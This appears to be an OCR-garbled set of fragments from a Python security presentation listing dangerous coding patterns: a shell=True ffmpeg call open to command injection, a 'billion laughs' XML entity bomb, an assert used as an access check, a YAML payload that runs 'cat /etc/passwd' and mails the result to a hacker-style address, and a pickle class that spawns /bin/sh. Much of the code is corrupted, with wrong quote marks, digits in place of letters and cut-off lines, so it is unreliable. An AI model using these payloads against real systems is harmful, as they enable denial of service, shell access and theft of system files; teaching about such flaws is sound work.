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import subprocess

def transcode file(request, filename):
command = ‘ffmpeg -i “{source}” output file.mpg’.format(source=filename)
! subprocess.call(command, shell=True) # a bad idea
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xml version="1.0"?>?>

<!DOCTYPE lolz [

<!ENTITY lol “lol”>

<!ENTITY lol2 “&lol;&lol;&lol; &lol; &lol; &lol; &lol; &lol; &lol; &lol;”

<!ENTITY lol3 “&lol2;&1012;&1012;&1012;&1012; &1012; &1012; &1012; &1012; &l012;”
<!ENTITY lol4 “&lol3;&l013;&l013;&1013; &1013;&1013; &1013; &1013; &1013; &lol 3;”
<!ENTITY lol5 “&lol4;&lol4;&lol4;&lol4; &lol4;&lol4; &lol4; &lol4; &lol4; &lol4;”
<!ENTITY lol6 “&lol5;&lo0l5;&lol5;&1015;&l015;&1015; &lo15;&lol5; &lol5; &lol5;”
<!ENTITY lol7 “&l10l6;&lol6;&1016;&1016;&1016;&1016;&1016; &1016; &1016;&10l6;”
<!ENTITY lol8 “&lol7;&l1017;&lol7;&lol7;&1017;&1017;&lo17; &lol7;&1017;&lol7;”

>
>
>
>
>
>
>
<!ENTITY lol9 “&lol8;&lol8;&1018;&1018;&1018; &1018; &1018; &1018; &1018; &1018; 7 >
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def foo(request, user):
assert user.is_admin, “user does not have access”
.. # secure code
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["python/object/apply:os.system [ “cat /etc/passwd | mail me@hack.c!!
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import cPickle
import subprocess
import base64

class RunBinSh(object):
def reduce (self):
(((,” return (subprocess.Popen, ((‘/bin/sh

((Oprint base64.b64encode(cPickle.dumps(RunBinSh
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